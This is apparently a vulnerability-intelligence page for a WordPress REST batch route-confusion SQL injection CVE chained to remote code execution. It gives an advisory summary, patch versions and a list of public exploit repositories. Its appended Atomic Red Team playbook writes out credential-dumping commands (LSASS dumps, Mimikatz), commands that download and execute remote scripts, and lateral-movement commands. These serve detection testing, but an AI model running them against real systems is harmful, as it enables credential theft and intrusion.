CVE-2026-63030
Overview
This vulnerability is a SQL Injection rooted in a route confusion within WordPress's REST API batch endpoint. The flaw arises from improper handling of the author__not_in parameter in WP_Query, which allows crafted queries to bypass intended filtering logic. The affected component is the REST API batch endpoint in WordPress versions prior to 6.9.5 and 7.0.2, where the route confusion leads to unintended query execution paths.
Vulnerability Description
WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the author__not_in WP_Query SQL Injection (CVE-2026-60137), could allow an attacker to perform SQL Injection and achieve Remote Code Execution.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL commands on the WordPress backend database, potentially leading to full remote code execution on the hosting server. This enables unauthorized data access, modification, or deletion, and complete system compromise. The attack requires no authentication or user interaction, allowing remote exploitation over the network. The business impact includes data breaches, loss of service integrity, and potential lateral movement within the compromised environment.
Solution
Upgrade WordPress installations to version 6.9.5 or later for the 6.9.x branch, or 7.0.2 or later for the 7.0.x branch as detailed in the official WordPress security advisory published at https://wordpress.org/news/2026/07/wordpress-7-0-2-release/. These updates address the REST API batch endpoint route confusion and associated SQL Injection. No alternative workarounds are recommended by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wordpress | Wordpress | All |
cpe:2.3:a:wordpress:wordpress:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
Metasploit (2)
| Module | Authors | Rank | Platform | Link |
|---|---|---|---|---|
|
WordPress Core wp2shell Unauthenticated SQL Injection via REST Batch Route Confusion
auxiliary/scanner/http/wordpress_wp2shell_sqli
|
dividesbyzer0, Searchlight Cyber | Unknown | - | View |
|
WordPress WP2Shell REST API Batch Route Confusion SQLi to RCE
exploits/multi/http/wp_batch_desync_rce
|
Adam Kues, TF1T, dtro +2 | Unknown | - | View |
GitHub PoCs (86)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
sowarma/wp2shell-PoC
CVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept
|
sowarma | 917 | 216 | 2026-08-05 | View |
|
Icex0/wp2shell-poc
wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain
|
Icex0 | 788 | 179 | 2026-07-17 | View |
|
arvindear/wp2shell-PoC
CVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept
|
arvindear | 565 | 53 | 2026-09-18 | View |
|
manpisetsu/wp2shell
CVE-2026-63030 + CVE-2026-60137 exploit RCE chain
|
manpisetsu | 143 | 53 | 2026-10-07 | View |
|
0xsha/wp2shell
CVE-2026-63030 + CVE-2026-60137 - “wp2shell”: unauthenticated RCE in WordPress core
|
0xsha | 115 | 35 | 2026-07-18 | View |
|
dinosn/wp2shell-lab
Non-destructive detector + Docker lab for wp2shell (CVE-2026-63030 REST /batch/v1 route confusion + CVE-2026-60137 autho...
|
dinosn | 63 | 19 | 2026-07-18 | View |
|
ZephrFish/wp2shell-scanner
CVE-2026-63030, CVE-2026-60137, wp2shell scanner
|
ZephrFish | 66 | 14 | 2026-07-17 | View |
|
mcipekci/wp2shell
Pre-auth RCE PoC for WordPress core — chains CVE-2026-63030 (REST /batch/v1 route-confusion desync) with CVE-2026-60137 ...
|
mcipekci | 15 | 9 | 2026-07-22 | View |
|
NULL200OK/WP2Shell
WP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress RE...
|
NULL200OK | 17 | 5 | 2026-07-18 | View |
|
securelayer7/WordPresShell
Pre-auth RCE PoC for CVE-2026-63030 / CVE-2026-60137 (WordPress core)
|
securelayer7 | 17 | 3 | 2026-07-18 | View |
|
mhtsec/CVE-2026-63030
WordPress 未授权RCE EXP | CVE-2026-63030
|
mhtsec | 14 | 3 | 2026-07-18 | View |
|
47Cid/wp2shell-lab
Educational PoC + lab for CVE-2026-63030 + CVE-2026-60137: pre-auth SQLi in WordPress core via REST batch-route confusio...
|
47Cid | 15 | 2 | 2026-07-18 | View |
|
ikow/wp2shell
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Exploit toolkit + remediation.
|
ikow | 10 | 2 | 2026-07-19 | View |
|
4minx/CVE-2026-63030
CVE-2026-63030 (wp2shell) POC.
|
4minx | 9 | 2 | 2026-07-18 | View |
|
attackercan/wp2shell-poc2
CVE-2026-63030
|
attackercan | 7 | 4 | 2026-07-17 | View |
|
ekomsSavior/wp2shell
CVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)
|
ekomsSavior | 9 | 2 | 2026-07-18 | View |
|
bahartanir/wp2shell-scanner
CVE-2026-63030 / CVE-2026-60137 - WordPress pre-auth RCE scanner
|
bahartanir | 8 | 1 | 2026-07-19 | View |
|
fullhunt/wp2shell-scan
A scanner and proof-of-concept toolkit for CVE-2026-63030 (wp2shell) - pre-authenticated remote code execution in WordPr...
|
fullhunt | 6 | 2 | 2026-07-18 | View |
|
J4ck3LSyN-Gen2/CVE-2026-63030-wp2r00t
A fully red-team(offensive security) weaponized variant of wp2shell, built for authorized penetration testing & educatio...
|
J4ck3LSyN-Gen2 | 6 | 2 | 2026-07-18 | View |
|
mverschu/CVE-2026-63030
PoC Exploit of WordPress Core Unauthenticated RCE known as WP2Shell
|
mverschu | 5 | 3 | 2026-07-18 | View |
|
Lutfifakee-Project/wp2shell
wp2shell - WordPress CVE-2026-63030 Exploit & Scanner
|
Lutfifakee-Project | 6 | 2 | 2026-07-18 | View |
|
InstaWP/wp2shell-scan
Detect & clean up wp2shell (CVE-2026-63030) WordPress compromise — bulk-runnable, read-only by default
|
InstaWP | 6 | 0 | 2026-07-19 | View |
|
M4xSec/wp2shell-Exploit-Waf-Bypass
WordPress Pre-Auth RCE Exploit + Scanner + WAF Bypass | CVE-2026-63030 + CVE-2026-60137 | Go + Python + Metasploit modul...
|
M4xSec | 5 | 0 | 2026-08-08 | View |
|
rechandra/wp2exp-2026
WordPress All-in-One Exploit Framework — detector, scanner, enumerator, exploit, escalation. 10 CVEs from the 2026-08 wa...
|
rechandra | 5 | 0 | 2026-08-04 | View |
|
Senanfurkan/wordpress-cve-2026-63030
Pre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Det...
|
Senanfurkan | 5 | 0 | 2026-07-18 | View |
|
GhostInExile/CVE-2026-63030-Wp2Shell
WordPress REST API SQLi to RCE PoC (CVE-2026-63030 & CVE-2026-60137)
|
GhostInExile | 4 | 0 | 2026-07-20 | View |
|
ebrasha/abdal-cve-2026-63030
Abdal CVE-2026-63030 is a professional WordPress vulnerability scanner designed to detect exposure to CVE-2026-63030 thr...
|
ebrasha | 4 | 0 | 2026-07-18 | View |
|
own2pwn-fr/wp2shell-detect
Blackbox, non-intrusive detector for wp2shell (WordPress core pre-auth RCE, CVE-2026-63030 / CVE-2026-60137). Detection ...
|
own2pwn-fr | 4 | 0 | 2026-07-18 | View |
|
DeadExpl0it/wp2shell-poc
wp2shell — WordPress Core Pre-Auth RCE Chain poc for CVE-2026-63030 and CVE-2026-60137
|
DeadExpl0it | 3 | 0 | 2026-08-21 | View |
|
johnlodan/wp2shell-rce
WordPress CVE-2026-63030 and CVE-2026-60137 security tool for detecting exposure to the WP2Shell pre-authentication RCE ...
|
johnlodan | 3 | 0 | 2026-08-02 | View |
|
imXur/WordPress-CVE-2026-63030-Analysis
Technical analysis, root cause breakdown, and non-destructive detection methodology for CVE-2026-63030.
|
imXur | 3 | 0 | 2026-07-25 | View |
|
lucifer0xf/wp2shell-Wordpress-TOWN
Unauthenticated Remote Code Execution (RCE) in WordPress Core allows attackers to execute arbitrary code without logging...
|
lucifer0xf | 2 | 1 | 2026-07-20 | View |
|
Crypto-Cat/wp2shell
PoC for CVE-2026-63030 + CVE-2026-60137, AKA WP2Shell
|
Crypto-Cat | 3 | 0 | 2026-07-19 | View |
|
c0gnit00/Wp2Shell
Exploit POC for Wp2Shell, CVE-2026-63030 + CVE-2026-63137
|
c0gnit00 | 1 | 2 | 2026-07-19 | View |
|
JohenLastGen-JLG/wp2shell
wp2shell - WordPress RCE & PoC (CVE-2026-63030 + CVE-2026-60137)
|
JohenLastGen-JLG | 2 | 1 | 2026-07-18 | View |
|
g0d150ne/WP2Shell
WP2Shell is a powerful and modular exploit framework that combines two critical WordPress vulnerabilities (CVE-2026-6303...
|
g0d150ne | 1 | 1 | 2026-08-09 | View |
|
AnggaTechI/CVE-2026-63030
WordPress Core Pre-Auth RCE — Batch Route Confusion + SQL Injection
|
AnggaTechI | 1 | 1 | 2026-08-05 | View |
|
BytesPulse-OE/wp2shell-Hestia-Scanner
Read-only WordPress security scanner for HestiaCP servers. Detects wp2shell compromise indicators (CVE-2026-63030 / CVE-...
|
BytesPulse-OE | 2 | 0 | 2026-07-27 | View |
|
Ch4120N/CVE-2026-63030
CVE-2026-63030 - WordPress REST Batch Route-Confusion SQL Injection Proof of Concept
|
Ch4120N | 2 | 0 | 2026-07-20 | View |
|
joaovicdev/EXPLOIT-CVE-2026-63030
|
joaovicdev | 1 | 1 | 2026-07-20 | View |
|
vulnquest58/PressVector
PressVector - Advanced WordPress Vulnerability Scanner CVE-2026-63030 (REST batch route confusion) / CVE-2026-60137 (SQL...
|
vulnquest58 | 1 | 1 | 2026-07-19 | View |
|
hidden-investigations/wp2shell-scanner
WordPress wp2shell vulnerability-chain scanner for CVE-2026-63030 and CVE-2026-60137, with active detection, optional Po...
|
hidden-investigations | 1 | 1 | 2026-07-19 | View |
|
4B3R4M4-607D/CVE-2026-63030-POC
CVE-2026-63030 / wp2shell
|
4B3R4M4-607D | 2 | 0 | 2026-07-19 | View |
|
0xWhoknows/wp2shell
Automated exploit chain for CVE-2026-63030 / CVE-2026-60137 — unauthenticated blind SQLi via WordPress REST batch route-...
|
0xWhoknows | 1 | 1 | 2026-07-18 | View |
|
langz337/CVE-2026-63030
|
langz337 | 1 | 0 | 2026-09-26 | View |
|
mhassani97/cve-2026-63030-lab
wp2shell (CVE-2026-63030 & CVE-2026-60137) - full RCE chain
|
mhassani97 | 0 | 1 | 2026-08-20 | View |
|
SentinelXofficial/sxwp2shell
WordPress wp2shell pre-auth RCE exploit kit (CVE-2026-63030 + CVE-2026-60137)
|
SentinelXofficial | 1 | 0 | 2026-07-20 | View |
|
0xjessie21/wp2shell-checker
WordPress Core Unauthenticated RCE (CVE-2026-63030, CVE-2026-60137)
|
0xjessie21 | 1 | 0 | 2026-07-20 | View |
|
ZenithGenius/wordpress-batch-rce-lab
CVE-2026-63030: WordPress REST batch-endpoint array desync. Mechanism, detection, mitigation, and a safe reproduction la...
|
ZenithGenius | 1 | 0 | 2026-07-19 | View |
|
eyesecurity/wp2shell-compromise-scanner-plugin
Read-only WordPress plugin that scans for artifacts of the wp2shell exploit chain (CVE-2026-63030 / CVE-2026-60137)
|
eyesecurity | 0 | 1 | 2026-07-19 | View |
|
TomorrowX6/CVE-2026-63030-poc
|
TomorrowX6 | 0 | 1 | 2026-07-19 | View |
|
administrator-01001/CVE-2026-63030
Proof-of-concept exploit for CVE-2026-63030, a pre-authentication vulnerability in WordPress (versions 6.9.0 through 7.0...
|
administrator-01001 | 1 | 0 | 2026-07-20 | View |
|
0xBlackash/CVE-2026-63030
CVE-2026-63030
|
0xBlackash | 1 | 0 | 2026-07-18 | View |
|
gbrsh/CVE-2026-63030
A critical unauthenticated "remote code execution" vulnerability affecting WordPress Core
|
gbrsh | 1 | 0 | 2026-07-18 | View |
|
CybersecSpirit/CVE-2026-63030
|
CybersecSpirit | 0 | 1 | 2026-07-18 | View |
|
hitechcloud-vietnam/wp2shell-PoC
CVE-2026-63030 & CVE-2026-60137 RCE chain proof-of-concept
|
hitechcloud-vietnam | 0 | 0 | 2026-10-03 | View |
|
MRdark-ops/WP2Shell--CVE-2026-63030-CVE-2026-60137-
Unauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) — a Word...
|
MRdark-ops | 0 | 0 | 2026-09-29 | View |
|
jed-parsec/CVE-2026-63030-60137-wp2shell-lab
Unauthenticated SQL injection PoC and vulnerable lab environment for WP2Shell (CVE-2026-63030 + CVE-2026-60137) — a Word...
|
jed-parsec | 0 | 0 | 2026-09-27 | View |
|
z3rodayhacks/CVE-2026-63030-CVE-2026-60137
|
z3rodayhacks | 0 | 0 | 2026-08-07 | View |
|
fl0ydsec/CVE-2026-63030
WP2Shell - CVE-2026-63030 + CVE-2026-60137 WordPress Core pre-auth RCE mass exploit
|
fl0ydsec | 0 | 0 | 2026-09-24 | View |
|
Sec-Dan/WP2Shell-Scanner
Read-only CLI to check whether a WordPress site is exposed to WP2Shell (CVE-2026-63030 / CVE-2026-60137)
|
Sec-Dan | 0 | 0 | 2026-08-30 | View |
|
TranDongA3/POC-CVE-2026-63030-CVE-2026-60137-
|
TranDongA3 | 0 | 0 | 2026-08-19 | View |
|
minwunn/wp2shell-CVE-2026-63030
|
minwunn | 0 | 0 | 2026-08-05 | View |
|
x-znn/CVE-2026-63030
|
x-znn | 0 | 0 | 2026-08-04 | View |
|
Procjevt/CVE-2026-63030
|
Procjevt | 0 | 0 | 2026-08-03 | View |
|
Industri4l-H3ll-Xpl0it3rs/CVE-2026-63030-WP2Shell
CVE-2026-63030 Exploit | by gr1tx
|
Industri4l-H3ll-Xpl0it3rs | 0 | 0 | 2026-07-30 | View |
|
yuag/wp2shell
CVE-2026-63030 + CVE-2026-60137+poc
|
yuag | 0 | 0 | 2026-07-27 | View |
|
shinthink/CVE-2026-63030
WordPress Core Pre-Auth RCE via REST Batch Route Confusion + SQLi (CVE-2026-63030 + CVE-2026-60137)
|
shinthink | 0 | 0 | 2026-07-24 | View |
|
Giangdurian/CVE-2026-63030-CVE-2026-60137
|
Giangdurian | 0 | 0 | 2026-07-24 | View |
|
Iqbalx7/wp2shell
unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)
|
Iqbalx7 | 0 | 0 | 2026-07-20 | View |
|
razureink/cve-2026-63030_60137-wordpress_rce_reproduction
CVE Reproduction: cve-2026-63030_60137-wordpress_rce_reproduction
|
razureink | 0 | 0 | 2026-07-23 | View |
|
gagaltotal/CVE-2026-63030-CVE-2026-60137-wp2shell-poc
CVE-2026-63030 & CVE-2026-60137 Wp2shell Poc
|
gagaltotal | 0 | 0 | 2026-07-22 | View |
|
raphy76/wp2shell-poc-fulljs
full javascript reproduction of CVE-2026-63030 (author_exclude, author__not_in and misalignment between validations and ...
|
raphy76 | 0 | 0 | 2026-07-22 | View |
|
Adrees-Basheer/wp2shell-vulnerability-scanner
Scan WordPress installations for wp2shell vulnerabilities (CVE-2026-63030 + CVE-2026-60137). Identifies full RCE and SQL...
|
Adrees-Basheer | 0 | 0 | 2026-07-22 | View |
|
wn-iqbal/wp2shell
unauthenticated RCE in WordPress core (CVE-2026-63030 + CVE-2026-60137)
|
wn-iqbal | 0 | 0 | 2026-07-20 | View |
|
Bhanunamikaze/WP2Shell-CVE-2026-63030-POC
PoC detector & safe validator for the WP2Shell WordPress vulnerability chain: CVE-2026-63030 (REST batch-route confusion...
|
Bhanunamikaze | 0 | 0 | 2026-07-21 | View |
|
ASYquan/wp2shell-cf-WAF-bypass
wp2shell PoC with Cloudflare WAF bypass via body padding (CVE-2026-63030)
|
ASYquan | 0 | 0 | 2026-07-20 | View |
|
skelersecurity/wordpress-skelersecurity-core-security-CVE-2026-63030
The wp2shell vulnerability chain represents one of the most significant WordPress Core security issues in recent years. ...
|
skelersecurity | 0 | 0 | 2026-07-19 | View |
|
Lukols-Dev/wp-cve-2026-63030-check
Non-intrusive exposure checker for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 / CVE-2026-60137).
|
Lukols-Dev | 0 | 0 | 2026-07-19 | View |
|
ananay/wp2shell-lab
Validation target: minimal WordPress core slice reproducing the wp2shell (CVE-2026-63030 + CVE-2026-60137) REST-to-SQLi ...
|
ananay | 0 | 0 | 2026-07-19 | View |
|
0xh7ml/CVE-2026-63030
|
0xh7ml | 0 | 0 | 2026-07-19 | View |
|
ChiefYoru/CVE-2026-63030_PoC
CVE-2026-63030 - WordPress Core Pre-Auth RCE Mass Exploit
|
ChiefYoru | 0 | 0 | 2026-07-18 | View |
|
zi3lak/wp2shell_scanner
Non-intrusive detection scanner for the WordPress wp2shell pre-auth RCE chain (CVE-2026-63030 + CVE-2026-60137). Detecti...
|
zi3lak | 0 | 0 | 2026-07-18 | View |
|
mrx-arafat/CVE-2026-63030-POC
|
mrx-arafat | 0 | 0 | 2026-07-18 | View |
|
kulichr/wp2shell
Non-intrusive checker for CVE-2026-63030 / CVE-2026-60137 ("wp2shell"), a pre-authentication RCE chain in WordPress core...
|
kulichr | 0 | 0 | 2026-07-18 | View |
|
tcyph3r/wp2shell-cve-2026-63030-root-cause
|
tcyph3r | 0 | 0 | 2026-07-18 | View |
Threat Feed
34 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Public exploit code is available for this vulnerability
Proof-of-concept code is publicly available for this vulnerability
Active exploitation confirmed with 487 sighting(s)
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Deployed role: Linux · Web Server
Kill chain derived from the ML classifier. Pick the target OS above to see the OS-specific path and matching playbook.
Attack Vectors ML
MITRE ATT&CK Techniques (10)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-105 | HTTP Request Splitting |
30%
|
Medium | High | |
| CAPEC-273 | HTTP Response Smuggling |
30%
|
Medium | High | |
| CAPEC-34 | HTTP Response Splitting |
30%
|
Medium | High |
Red Team Playbook
123 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
"#{procdump_exe}" -accepteula -mm lsass.exe #{output_file}
$exePath = resolve-path "$env:ProgramFiles\dotnet\shared\Microsoft.NETCore.App\5*\createdump.exe"
& "$exePath" -u -f $env:Temp\dotnet-lsass.dmp (Get-Process lsass).id
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe --silent-process-exit "#{output_folder}"
PathToAtomicsFolder\..\ExternalPayloads\nanodump.x64.exe -w "%temp%\nanodump.dmp"
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
try{ IEX (IWR 'https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1003.001/src/Out-Minidump.ps1') -ErrorAction Stop}
catch{ $_; exit $_.Exception.Response.StatusCode.Value__}
get-process lsass | Out-Minidump
"#{procdump_exe}" -accepteula -ma lsass.exe #{output_file}
C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full
"#{dumpert_exe}"
#{xordump_exe} -out #{output_file} -x 0x41
if (Test-Path -Path "$env:SystemRoot\System32\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\System32\rdrleakdiag.exe"
} elseif (Test-Path -Path "$env:SystemRoot\SysWOW64\rdrleakdiag.exe") {
$binary_path = "$env:SystemRoot\SysWOW64\rdrleakdiag.exe"
} else {
$binary_path = "File not found"
exit 1
}
$lsass_pid = get-process lsass |select -expand id
if (-not (Test-Path -Path"$env:TEMP\t1003.001-13-rdrleakdiag")) {New-Item -ItemType Directory -Path $env:TEMP\t1003.001-13-rdrleakdiag -Force}
write-host $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
& $binary_path /p $lsass_pid /o $env:TEMP\t1003.001-13-rdrleakdiag /fullmemdmp /wait 1
Write-Host "Minidump file, minidump_$lsass_pid.dmp can be found inside $env:TEMP\t1003.001-13-rdrleakdiag directory."
"#{venv_path}\Scripts\pypykatz" live lsa
#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit
IEX (New-Object Net.WebClient).DownloadString('#{remote_script}'); Invoke-Mimikatz -DumpCreds
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -CommandParamVariation #{command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -Execute -ErrorAction Stop
Out-ATHPowerShellCommandLineParameter -CommandLineSwitchType #{command_line_switch_type} -EncodedCommandParamVariation #{encoded_command_param_variation} -UseEncodedArguments -EncodedArgumentsParamVariation #{encoded_arguments_param_variation} -Execute -ErrorAction Stop
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Powershell.exe "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/enigma0x3/Misc-PowerShell-Stuff/a0dfca7056ef20295b156b8207480dc2465f94c3/Invoke-AppPathBypass.ps1'); Invoke-AppPathBypass -Payload 'C:\Windows\System32\cmd.exe'"
Import-Module "#{mimpath}"
Invoke-Mimikatz -DumpCreds
$url='https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f650520c4b1004daf8b3ec08007a0b945b91253a/Exfiltration/Invoke-Mimikatz.ps1';$wshell=New-Object -ComObject WScript.Shell;$reg='HKCU:\Software\Microsoft\Notepad';$app='Notepad';$props=(Get-ItemProperty $reg);[Void][System.Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms');@(@('iWindowPosY',([String]([System.Windows.Forms.Screen]::AllScreens)).Split('}')[0].Split('=')[5]),@('StatusBar',0))|ForEach{SP $reg (Item Variable:_).Value[0] (Variable _).Value[1]};$curpid=$wshell.Exec($app).ProcessID;While(!($title=GPS|?{(Item Variable:_).Value.id-ieq$curpid}|ForEach{(Variable _).Value.MainWindowTitle})){Start-Sleep -Milliseconds 500};While(!$wshell.AppActivate($title)){Start-Sleep -Milliseconds 500};$wshell.SendKeys('^o');Start-Sleep -Milliseconds 500;@($url,(' '*1000),'~')|ForEach{$wshell.SendKeys((Variable _).Value)};$res=$Null;While($res.Length -lt 2){[Windows.Forms.Clipboard]::Clear();@('^a','^c')|ForEach{$wshell.SendKeys((Item Variable:_).Value)};Start-Sleep -Milliseconds 500;$res=([Windows.Forms.Clipboard]::GetText())};[Windows.Forms.Clipboard]::Clear();@('%f','x')|ForEach{$wshell.SendKeys((Variable _).Value)};If(GPS|?{(Item Variable:_).Value.id-ieq$curpid}){@('{TAB}','~')|ForEach{$wshell.SendKeys((Item Variable:_).Value)}};@('iWindowPosDY','iWindowPosDX','iWindowPosY','iWindowPosX','StatusBar')|ForEach{SP $reg (Item Variable:_).Value $props.((Variable _).Value)};IEX($res);invoke-mimikatz -dumpcr
Add-Content -Path #{ads_file} -Value 'Write-Host "Stream Data Executed"' -Stream 'streamCommand'
$streamcommand = Get-Content -Path #{ads_file} -Stream 'streamcommand'
Invoke-Expression $streamcommand
powershell.exe -e #{obfuscated_code}
# Encoded payload in next command is the following "Set-Content -path "$env:SystemRoot/Temp/art-marker.txt" -value "Hello from the Atomic Red Team""
reg.exe add "HKEY_CURRENT_USER\Software\Classes\AtomicRedTeam" /v ART /t REG_SZ /d "U2V0LUNvbnRlbnQgLXBhdGggIiRlbnY6U3lzdGVtUm9vdC9UZW1wL2FydC1tYXJrZXIudHh0IiAtdmFsdWUgIkhlbGxvIGZyb20gdGhlIEF0b21pYyBSZWQgVGVhbSI=" /f
iex ([Text.Encoding]::ASCII.GetString([Convert]::FromBase64String((gp 'HKCU:\Software\Classes\AtomicRedTeam').ART)))
$malcmdlets = #{Malicious_cmdlets}
foreach ($cmdlets in $malcmdlets) {
"function $cmdlets { Write-Host Pretending to invoke $cmdlets }"}
foreach ($cmdlets in $malcmdlets) {
$cmdlets}
New-PSSession -ComputerName #{hostname_to_connect}
Test-Connection $env:COMPUTERNAME
Set-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use -Value "T1086 PowerShell Session Creation and Use"
Get-Content -Path $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
Remove-Item -Force $env:TEMP\T1086_PowerShell_Session_Creation_and_Use
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','#{url}',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -exec bypass -noprofile "$Xml = (New-Object System.Xml.XmlDocument);$Xml.Load('#{url}');$Xml.command.a.execute | IEX"
C:\Windows\system32\cmd.exe /c "mshta.exe javascript:a=GetObject('script:#{url}').Exec();close()"
import-module "PathToAtomicsFolder\..\ExternalPayloads\SharpHound.ps1"
try { Invoke-BloodHound -OutputDirectory $env:Temp }
catch { $_; exit $_.Exception.HResult}
Start-Sleep 5
write-host "Remote download of SharpHound.ps1 into memory, followed by execution of the script" -ForegroundColor Cyan
IEX (New-Object Net.Webclient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/804503962b6dc554ad7d324cfa7f2b4a566a14e2/Ingestors/SharpHound.ps1');
Invoke-BloodHound -OutputDirectory $env:Temp
Start-Sleep 5
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
